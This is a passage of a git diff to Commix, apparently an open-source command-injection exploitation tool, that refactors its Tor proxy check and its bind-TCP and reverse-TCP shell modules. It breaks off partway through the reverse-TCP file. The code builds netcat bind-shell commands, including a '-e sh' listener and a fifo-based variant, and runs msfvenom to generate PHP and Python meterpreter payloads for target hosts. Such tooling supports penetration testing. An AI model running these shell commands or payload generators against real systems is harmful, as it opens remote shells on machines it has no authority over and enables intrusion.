(@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -19,117 +19,41 @@ from src.thirdparty.six.moves import http_client as _http_client from src.utils import menu from src.utils import settings -from src.utils import requirments +from src.utils import requirements +from src.core.requests import proxy +from src.core.requests import requests from src.thirdparty.colorama import Fore, Back, Style, init """ -Check for TOR HTTP Proxy. +Check if Tor HTTP proxy is defined. """ -if menu.options.tor_port: - PRIVOXY_PORT = menu.options.tor_port -else: - PRIVOXY_PORT = settings.PRIVOXY_PORT -""" -Check if HTTP Proxy (tor/privoxy) is defined. -""" -def do_check(): - - # Check if 'tor' is installed. - requirment = "tor" - requirments.do_check(requirment) - - # Check if 'privoxy' is installed. - requirment = "privoxy" - requirments.do_check(requirment) - - check_privoxy_proxy = True - info_msg = "Testing Tor SOCKS proxy settings (" - info_msg += settings.PRIVOXY_IP + ":" + PRIVOXY_PORT - info_msg += "). " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - privoxy_proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + PRIVOXY_PORT}) - opener = _urllib.request.build_opener(privoxy_proxy) - _urllib.request.install_opener(opener) - except: - check_privoxy_proxy = False - pass - - if check_privoxy_proxy: - try: - check_tor_page = opener.open("https://check.torproject.org/").read().decode(settings.UNICODE_ENCODING) - found_ip = re.findall(r": " + "(.*)" + "

", check_tor_page) - if not "You are not using Tor" in check_tor_page: - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - if menu.options.tor_check: - info_msg = "Tor connection is properly set. " - else: - info_msg = "" - info_msg += "Your ip address appears to be " + found_ip[0] + ".\n" - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - warn_msg = "Increasing default value for option '--time-sec' to" - warn_msg += " " + str(settings.TIMESEC) + " because switch '--tor' was provided." - print(settings.print_warning_msg(warn_msg)) - - else: - print(settings.SINGLE_WHITESPACE) - if menu.options.tor_check: - err_msg = "It seems that your Tor connection is not properly set. " - else: - err_msg = "" - err_msg += "Can't establish connection with the Tor SOCKS proxy. " - err_msg += "Please make sure that you have " - err_msg += "Tor installed and running so " - err_msg += "you could successfully use " - err_msg += "switch '--tor'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except _urllib.error.URLError as err_msg: - print(settings.SINGLE_WHITESPACE) - if menu.options.tor_check: - err_msg = "It seems that your Tor connection is not properly set. " - else: - err_msg = "" - err_msg = "Please make sure that you have " - err_msg += "Tor installed and running so " - err_msg += "you could successfully use " - err_msg += "switch '--tor'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() +def tor_connection_error(): + err_msg = "It appears that Tor is not properly set. Please " + if not menu.options.tor_port: + err_msg += "try again using option '--tor-port'." + else: + err_msg += "check again the provided option '--tor-port'." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + raise SystemExit() - except _http_client.BadStatusLine as err_msg: - print(settings.SINGLE_WHITESPACE) - if len(err_msg.line) > 2 : - print(err_msg.line, err_msg.message) - raise SystemExit() - - -""" -Use the TOR HTTP Proxy. -""" -def use_tor(request): - if menu.options.offline: - err_msg = "You cannot Tor network without access on the Internet." - print(settings.print_critical_msg(err_msg)) +def do_check(): + info_msg = "Testing Tor HTTP proxy settings." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if menu.options.offline: + err_msg = "You cannot use Tor network while offline." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - try: - privoxy_proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + PRIVOXY_PORT}) - opener = _urllib.request.build_opener(privoxy_proxy) - _urllib.request.install_opener(opener) - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response - + request = _urllib.request.Request(settings.CHECK_TOR_PAGE, method=settings.HTTPMETHOD.GET) + response = proxy.use_proxy(request) + page = response.read().decode(settings.DEFAULT_CODEC) except Exception as err_msg: - try: - error_msg = str(err_msg.args[0]).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg).replace(": "," (") + ")." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - -# eof \ No newline at end of file + page = None + if not page or "Congratulations" not in page: + tor_connection_error() + else: + info_msg = "Connection with the Tor HTTP proxy is properly set. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +# eof \ No newline at end of file diff --git a/src/core/shells/__init__.py b/src/core/shells/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/core/shells/__init__.py +++ b/src/core/shells/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 813bf6584b..5dd0efa080 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -3,13 +3,13 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -20,161 +20,12 @@ import base64 import subprocess from src.utils import menu +from src.utils import common from src.utils import settings +from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init -""" -Check for available shell options. -""" -def shell_options(option): - if option.lower() == "bind_tcp": - warn_msg = "You are already into the '" + option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) - elif option.lower() == "?": - menu.reverse_tcp_options() - elif option.lower() == "quit": - raise SystemExit() - elif option[0:4].lower() == "set ": - if option[4:10].lower() == "rhost ": - check_rhost(option[10:]) - if option[4:10].lower() == "lhost ": - err_msg = "The '" + option[4:9].upper() + "' option, is not " - err_msg += "usable for 'bind_tcp' mode. Use 'RHOST' option." - print(settings.print_error_msg(err_msg)) - if option[4:10].lower() == "lport ": - check_lport(option[10:]) - else: - return option - -""" -Success msg. -""" -def shell_success(): - info_msg = "Everything is in place, cross your fingers and check for bind shell (on port " + settings.LPORT + ").\n" - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - -""" -Error msg if the attack vector is available only for Windows targets. -""" -def windows_only_attack_vector(): - error_msg = "This attack vector is available only for Windows targets." - print(settings.print_error_msg(error_msg)) - -""" -Message regarding the MSF handler. -""" -def msf_launch_msg(output): - info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)." - print(settings.print_info_msg(info_msg)) - info_msg = "Once the loading is done, press here any key to continue..." - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdin.readline().replace("\n","") - # Remove the ouput file. - os.remove(output) - -""" -Set up the PHP working directory on the target host. -""" -def set_php_working_dir(): - while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.WIN_PHP_DIR - question_msg += "' as PHP working directory on the target host? [Y/n] > " - php_dir = _input(settings.print_question_msg(question_msg)) - else: - php_dir = "" - if len(php_dir) == 0: - php_dir = "Y" - if php_dir in settings.CHOICE_YES: - break - elif php_dir in settings.CHOICE_NO: - question_msg = "Please provide a full path directory for Python interpreter (e.g. '" - question_msg += settings.WIN_PYTHON_INTERPRETER + "') or 'python'> " - settings.WIN_PHP_DIR = _input(settings.print_question_msg(question_msg)) - settings.USER_DEFINED_PHP_DIR = True - break - else: - err_msg = "'" + php_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - -""" -Set up the Python working directory on the target host. -""" -def set_python_working_dir(): - while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER - question_msg += "' as Python interpreter on the target host? [Y/n] > " - python_dir = _input(settings.print_question_msg(question_msg)) - else: - python_dir = "" - if len(python_dir) == 0: - python_dir = "Y" - if python_dir in settings.CHOICE_YES: - break - elif python_dir in settings.CHOICE_NO: - question_msg = "Please provide a full path directory for Python interpreter (e.g. '" - question_msg += "C:\\Python27\\python.exe') > " - settings.WIN_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg)) - settings.USER_DEFINED_PYTHON_DIR = True - break - else: - err_msg = "'" + python_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - -""" -Set up the Python interpreter on linux target host. -""" -def set_python_interpreter(): - while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER - question_msg += "' as Python interpreter on the target host? [Y/n] > " - python_interpreter = _input(settings.print_question_msg(question_msg)) - else: - python_interpreter = "" - if len(python_interpreter) == 0: - python_interpreter = "Y" - if python_interpreter in settings.CHOICE_YES: - break - elif python_interpreter in settings.CHOICE_NO: - question_msg = "Please provide a custom interpreter for Python (e.g. '" - question_msg += "python27') > " - settings.LINUX_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg)) - settings.USER_DEFINED_PYTHON_INTERPRETER = True - break - else: - err_msg = "'" + python_interpreter + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - -""" -check / set rhost option for bind TCP connection -""" -def check_rhost(rhost): - settings.RHOST = rhost - print("RHOST => " + settings.RHOST) - return True - -""" -check / set lport option for bind TCP connection -""" -def check_lport(lport): - try: - if float(lport): - settings.LPORT = lport - print("LPORT => " + settings.LPORT) - return True - except ValueError: - err_msg = "The provided port must be numeric (i.e. 1234)" - print(settings.print_error_msg(err_msg)) - return False - - """ Set up the netcat bind TCP connection """ @@ -182,7 +33,7 @@ def netcat_version(separator): # Defined shell shell = "sh" - + # Netcat alternatives NETCAT_ALTERNATIVES = [ "nc", @@ -191,15 +42,13 @@ def netcat_version(separator): "nc.openbsd" ] + settings.print_data_to_stdout(Style.BRIGHT + """Available netcat bind TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host.""") while True: - nc_version = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Netcat bind TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. -Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. -\ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_netcat""" + Style.RESET_ALL + """) > """) - + nc_version = _input("""commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_netcat""" + Style.RESET_ALL + """) > """) # Default Netcat if nc_version == '1': nc_alternative = NETCAT_ALTERNATIVES[0] @@ -208,50 +57,30 @@ def netcat_version(separator): if nc_version == '2': nc_alternative = NETCAT_ALTERNATIVES[1] break - # Netcat-Traditional + # Netcat-Traditional elif nc_version == '3': nc_alternative = NETCAT_ALTERNATIVES[2] break - # Netcat-Openbsd (nc without -e) + # Netcat-Openbsd (nc without -e) elif nc_version == '4': nc_alternative = NETCAT_ALTERNATIVES[3] break - # Check for available shell options + # Check for available shell options elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS): - if shell_options(nc_version): - return shell_options(nc_version) - # Invalid command + if checks.shell_options(nc_version): + return checks.shell_options(nc_version) + # Invalid command else: - err_msg = "The '" + nc_version + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(nc_version) continue - while True: - if not menu.options.batch: - question_msg = "Do you want to use '/bin' standard subdirectory? [y/N] > " - enable_bin_dir = _input(settings.print_question_msg(question_msg)) - else: - enable_bin_dir = "" - if len(enable_bin_dir) == 0: - enable_bin_dir = "n" - if enable_bin_dir in settings.CHOICE_NO: - break - elif enable_bin_dir in settings.CHOICE_YES : - nc_alternative = "/bin/" + nc_alternative - shell = "/bin/" + shell - break - elif enable_bin_dir in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + enable_bin_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass + nc_alternative, shell = checks.use_bin_subdir(nc_alternative, shell) if nc_version != '4': # Netcat with -e cmd = nc_alternative + " -l -p " + settings.LPORT + " -e " + shell else: - # nc without -e + # nc without -e cmd = shell + " -c \"" + shell + " 0/tmp/f\"" @@ -259,48 +88,46 @@ def netcat_version(separator): return cmd """ +Other bind shell options """ def other_bind_shells(separator): - + settings.print_data_to_stdout(Style.BRIGHT + """Available generic bind TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP bind TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl bind TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby bind TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python bind TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat bind TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Ncat bind TCP shell. +""" + Style.BRIGHT + """Available meterpreter bind TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a PHP meterpreter bind TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell.""") while True: - other_shell = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Generic bind TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP bind TCP shell. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl bind TCP shell. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby bind TCP shell. -Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python bind TCP shell. -Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat bind TCP shell. -Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Ncat bind TCP shell. -\n---[ """ + Style.BRIGHT + Fore.BLUE + """Meterpreter bind TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a PHP meterpreter bind TCP shell. -Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell. -\ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" + Style.RESET_ALL + """) > """) - + other_shell = _input("""commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" + Style.RESET_ALL + """) > """) # PHP-bind-shell if other_shell == '1': if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) continue payload = "php/bind_php" output = "php_bind_tcp.rc" info_msg = "Generating the '" + payload + "' payload. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + - " RHOST=" + str(settings.RHOST) + - " LPORT=" + str(settings.LPORT) + + proc = subprocess.Popen("msfvenom -p " + str(payload) + + " RHOST=" + str(settings.RHOST) + + " LPORT=" + str(settings.LPORT) + " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() with open (output, "r+") as content_file: data = content_file.readlines() - data = ''.join(data).replace("\n"," ") + data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE) - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: @@ -310,14 +137,14 @@ def other_bind_shells(separator): "set lport "+ str(settings.LPORT) + "\n" "exploit\n\n") - if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: - set_php_working_dir() + if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: + checks.set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: other_shell = "php -r \"" + data + "\"" - msf_launch_msg(output) + checks.msf_launch_msg(output) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break @@ -372,26 +199,26 @@ def other_bind_shells(separator): if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) continue payload = "php/meterpreter/bind_tcp" output = "php_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + - " RHOST=" + str(settings.RHOST) + - " LPORT=" + str(settings.LPORT) + + proc = subprocess.Popen("msfvenom -p " + str(payload) + + " RHOST=" + str(settings.RHOST) + + " LPORT=" + str(settings.LPORT) + " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() with open (output, "r+") as content_file: data = content_file.readlines() - data = ''.join(data).replace("\n"," ") + data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE) - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: @@ -401,14 +228,14 @@ def other_bind_shells(separator): "set lport "+ str(settings.LPORT) + "\n" "exploit\n\n") - if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: - set_php_working_dir() + if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: + checks.set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: other_shell = "php -r \"" + data + "\"" - msf_launch_msg(output) + checks.msf_launch_msg(output) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break # Python-bind-shell(meterpreter) @@ -416,27 +243,27 @@ def other_bind_shells(separator): if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) continue payload = "python/meterpreter/bind_tcp" output = "py_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + - " RHOST=" + str(settings.RHOST) + - " LPORT=" + str(settings.LPORT) + + proc = subprocess.Popen("msfvenom -p " + str(payload) + + " RHOST=" + str(settings.RHOST) + + " LPORT=" + str(settings.LPORT) + " -o " + output + ">/dev/null 2>&1", shell=True).wait() - + with open (output, "r") as content_file: data = content_file.readlines() data = ''.join(data) - #data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode() + #data = base64.b64encode(data.encode(settings.DEFAULT_CODEC)).decode() - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: @@ -446,26 +273,25 @@ def other_bind_shells(separator): "set lport "+ str(settings.LPORT) + "\n" "exploit\n\n") - if settings.TARGET_OS == "win": - if not settings.USER_DEFINED_PYTHON_DIR: - set_python_working_dir() - other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" + if settings.TARGET_OS == settings.OS.WINDOWS: + if not settings.USER_DEFINED_PYTHON_DIR: + checks.set_python_working_dir() + other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" else: if not settings.USER_DEFINED_PYTHON_INTERPRETER: - set_python_interpreter() + checks.set_python_interpreter() other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - msf_launch_msg(output) + checks.msf_launch_msg(output) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break - # Check for available shell options + # Check for available shell options elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): - if shell_options(other_shell): - return shell_options(other_shell) + if checks.shell_options(other_shell): + return checks.shell_options(other_shell) # Invalid option else: - err_msg = "The '" + other_shell + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(other_shell) continue return other_shell @@ -474,90 +300,87 @@ def other_bind_shells(separator): Choose type of bind TCP connection. """ def bind_tcp_options(separator): - + settings.print_data_to_stdout(Style.BRIGHT + """Available bind TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat bind TCP shells. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other bind TCP shells. """) while True: - bind_tcp_option = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Bind TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat bind TCP shells. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other bind TCP shells. -\ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """) - - if bind_tcp_option.lower() == "bind_tcp": - warn_msg = "You are already into the '" + bind_tcp_option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) + bind_tcp_option = _input("""commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """) + if bind_tcp_option.lower() == "bind_tcp": + warn_msg = "You are into the '" + bind_tcp_option.lower() + "' mode." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) continue # Option 1 - Netcat shell elif bind_tcp_option == '1' : bind_tcp_option = netcat_version(separator) if bind_tcp_option.lower() not in settings.SHELL_OPTIONS: - shell_success() + checks.shell_success("bind") break elif bind_tcp_option.lower() in settings.SHELL_OPTIONS: return bind_tcp_option else: - pass + pass # Option 2 - Other (Netcat-Without-Netcat) shells elif bind_tcp_option == '2' : bind_tcp_option = other_bind_shells(separator) + if settings.EVAL_BASED_STATE != False: + bind_tcp_option = bind_tcp_option.replace("$","\\$") if bind_tcp_option.lower() not in settings.SHELL_OPTIONS: - shell_success() + checks.shell_success("bind") break - # Check for available shell options + # Check for available shell options elif any(option in bind_tcp_option.lower() for option in settings.SHELL_OPTIONS): - if shell_options(bind_tcp_option): - return shell_options(bind_tcp_option) + if checks.shell_options(bind_tcp_option): + return checks.shell_options(bind_tcp_option) # Invalid option else: - err_msg = "The '" + bind_tcp_option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(bind_tcp_option) continue - return bind_tcp_option """ Set up the bind TCP connection """ def configure_bind_tcp(separator): - # Set up rhost for the bind TCP connection while True: - option = _input("""commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """) - if option.lower() == "bind_tcp": - warn_msg = "You are already into the '" + option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.BIND_TCP_SHELL) + option = _input() + if option.lower() == "bind_tcp": + warn_msg = "You are into the '" + option.lower() + "' mode." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) continue - elif option.lower() == "?": + elif option.lower() == "?": menu.bind_tcp_options() continue - elif option.lower() == "quit": + elif option.lower() == "quit" or option.lower() == "exit": raise SystemExit() - elif option.lower() == "os_shell" or option.lower() == "back": + elif option.lower() == "os_shell" or option.lower() == "back": settings.BIND_TCP = False break elif option.lower() == "reverse_tcp": settings.REVERSE_TCP = True settings.BIND_TCP = False - break + break elif len(settings.LPORT) != 0 and len(settings.RHOST) != 0: - break + break elif option[0:4].lower() == "set ": if option[4:10].lower() == "rhost ": - if check_rhost(option[10:]): + if checks.check_rhost(option[10:]): if len(settings.LPORT) == 0: pass else: break else: - continue + continue elif option[4:10].lower() == "lhost ": err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'bind_tcp' mode. Use 'RHOST' option." - print(settings.print_error_msg(err_msg)) - continue + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + continue elif option[4:10].lower() == "lport ": - if check_lport(option[10:]): + if checks.check_lport(option[10:]): if len(settings.RHOST) == 0: pass else: @@ -565,12 +388,10 @@ def configure_bind_tcp(separator): else: continue else: - err_msg = "The '" + option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(option) pass else: - err_msg = "The '" + option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(option) pass # eof \ No newline at end of file diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 981d36c80b..d8589a47ba 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -3,13 +3,13 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -21,201 +21,21 @@ import random import string import subprocess +from src.utils import common from src.utils import menu from src.utils import update from src.utils import settings from src.core.compat import xrange +from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init -""" -Check for available shell options. -""" -def shell_options(option): - if option.lower() == "reverse_tcp": - warn_msg = "You are already into the '" + option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) - elif option.lower() == "?": - menu.reverse_tcp_options() - elif option.lower() == "quit": - raise SystemExit() - elif option[0:4].lower() == "set ": - if option[4:10].lower() == "lhost ": - check_lhost(option[10:]) - if option[4:10].lower() == "rhost ": - err_msg = "The '" + option[4:9].upper() + "' option, is not " - err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option." - print(settings.print_error_msg(err_msg)) - if option[4:10].lower() == "lport ": - check_lport(option[10:]) - if option[4:12].lower() == "srvport ": - check_srvport(option[12:]) - if option[4:12].lower() == "uripath ": - check_uripath(option[12:]) - else: - return option - -# Payload generation message. -def gen_payload_msg(payload): - info_msg = "Generating the '" + payload + "' shellcode. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - -""" -Success msg. -""" -def shell_success(): - info_msg = "Everything is in place, cross your fingers and wait for reverse shell (on port " + settings.LPORT + ").\n" - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - -""" -Error msg if the attack vector is available only for Windows targets. -""" -def windows_only_attack_vector(): - error_msg = "This attack vector is available only for Windows targets." - print(settings.print_error_msg(error_msg)) - -""" -Message regarding the MSF handler. -""" -def msf_launch_msg(output): - info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)." - print(settings.print_info_msg(info_msg)) - info_msg = "Once the loading is done, press here any key to continue..." - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdin.readline().replace("\n","") - # Remove the ouput file. - os.remove(output) - -""" -Set up the PHP working directory on the target host. -""" -def set_php_working_dir(): - while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.WIN_PHP_DIR - question_msg += "' as PHP working directory on the target host? [Y/n] > " - php_dir = _input(settings.print_question_msg(question_msg)) - else: - php_dir = "" - if len(php_dir) == 0: - php_dir = "Y" - if php_dir in settings.CHOICE_YES: - break - elif php_dir in settings.CHOICE_NO: - question_msg = "Please provide a custom working directory for PHP (e.g. '" - question_msg += settings.WIN_PHP_DIR + "') > " - settings.WIN_PHP_DIR = _input(settings.print_question_msg(question_msg)) - settings.USER_DEFINED_PHP_DIR = True - break - else: - err_msg = "'" + php_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - -""" -Set up the Python working directory on the target host. -""" -def set_python_working_dir(): - while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER - question_msg += "' as Python interpreter on the target host? [Y/n] > " - python_dir = _input(settings.print_question_msg(question_msg)) - else: - python_dir = "" - if len(python_dir) == 0: - python_dir = 